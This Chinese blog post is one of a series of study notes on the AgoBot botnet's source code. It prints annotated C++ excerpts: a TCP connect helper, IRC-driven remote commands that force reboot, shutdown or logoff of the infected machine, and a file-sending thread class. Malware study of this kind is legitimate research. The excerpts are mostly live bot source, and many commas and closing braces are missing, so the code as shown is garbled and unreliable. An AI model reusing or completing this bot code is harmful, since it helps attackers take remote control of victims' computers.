AgoBot 殭屍網絡研究筆記(十九)

十九、2008年04月17日

作者:青青子衿

email:[email protected]

1void *CDownloadHelper::Run()函數中使用了 DoTcpConnect函數

/////////////////////////////////////////////////////////////////

//

//函數功能:實現TCP協議通訊的連接

//參數: const char *szHost  IP地址

// int iPort 端口

//返回值: 返回的是套接字變量

//

////////////////////////////////////////////////////////////////////

int DoTcpConnect(const char *szHostint iPort)

{

int sSocket=socket(AF_INETSOCK_STREAMIPPROTO_TCP);

if(sSocket==INVALID_SOCKET

{

return SOCKET_ERROR;

}

sockaddr_in ssin

memset(&ssin, 0, sizeof(ssin)); 

ssin.sin_family=AF_INET;

ssin.sin_port=htons(iPort); //設置目標端端口

ssin.sin_addr.s_addr=ResolveAddress(szHost);  //設置目標端的IP地址

if(connect(sSocket, (sockaddr*)&ssinsizeof(sockaddr_in))==SOCKET_ERROR//發起連接

{

//如果連接失敗

xClose(sSocket); 

return SOCKET_ERROR

}

return sSocket

}

2、class CRSLControl : public CCommandHandler

class CRSLControl : public CCommandHandler

{

public:

void Init();

bool HandleCommand(CMessage *pMsg);

command m_cmdRebootm_cmdShutdownm_cmdLogoff;

};

包含兩個成員函數,和三個成員變量。

3void CRSLControl::Init()  函數

////////////////////////////////////////////////////////////////////////////////

//

//函數功能:完成CRSLControl類的初始化工作,向指令列表中添加,該類負責處理的指令

//參數:

//返回值: void

//

////////////////////////////////////////////////////////////////////////////////

void CRSLControl::Init() 

{

g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdReboot, "rsl.reboot", "reboots the computer", this); //重啓系統指令

g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdShutdown, "rsl.shutdown", "shuts the computer down", this); //關機指令

g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdLogoff, "rsl.logoff", "logs the user off", this); //註銷指令

}

4bool HandleCommand(CMessage *pMsg);函數

///////////////////////////////////////////////////////////////////////////////

//

//函數功能:該類的指令處理函數

//參數: CMessage *pMsg 收到的相應的指令

//返回值: 調用成功返回true,否則返回false

//

/////////////////////////////////////////////////////////////////////////////////////

bool CRSLControl::HandleCommand(CMessage *pMsg

{

//處理重啓指令

if(!pMsg->sCmd.Compare("rsl.reboot")) 

{

//向控制端發送正在重啓消息

g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilentpMsg->bNoticepMsg->sReplyTo"rebooting...");

#ifdef WIN32

ExitWindowsEx(EWX_REBOOT|EWX_FORCE,0);  //重啓計算機的函數

#else

system("reboot"); //linux平臺下的重啓計算機的函數

#endif // WIN32

//處理關閉計算機指令

else if(!pMsg->sCmd.Compare("rsl.shutdown")) 

{

g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilentpMsg->bNoticepMsg->sReplyTo"shutting down...");

#ifdef WIN32

ExitWindowsEx(EWX_SHUTDOWN|EWX_FORCE,0);

#else

system("shutdown");

#endif // WIN32

//處理註銷指令

else if(!pMsg->sCmd.Compare("rsl.logoff")) 

{

g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilentpMsg->bNoticepMsg->sReplyTo, /

"logging off...");

#ifdef WIN32

ExitWindowsEx(EWX_LOGOFF|EWX_FORCE,0);

#else

system("init 1");

#endif // WIN32

}

return false;

}

5class CSendFile : public CThread  

//////////////////////////////////////////////////////

//

//類功能:發送文件

//

//////////////////////////////////////////////////////

class CSendFile : public CThread

{

public:

virtual ~CSendFile() 

if(m_sListenSocket>0) 

{

xClose(m_sListenSocket); 

}

}

virtual void *Run();

protected:

int m_sListenSocket;

sockaddr_in m_lAddr;

};

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章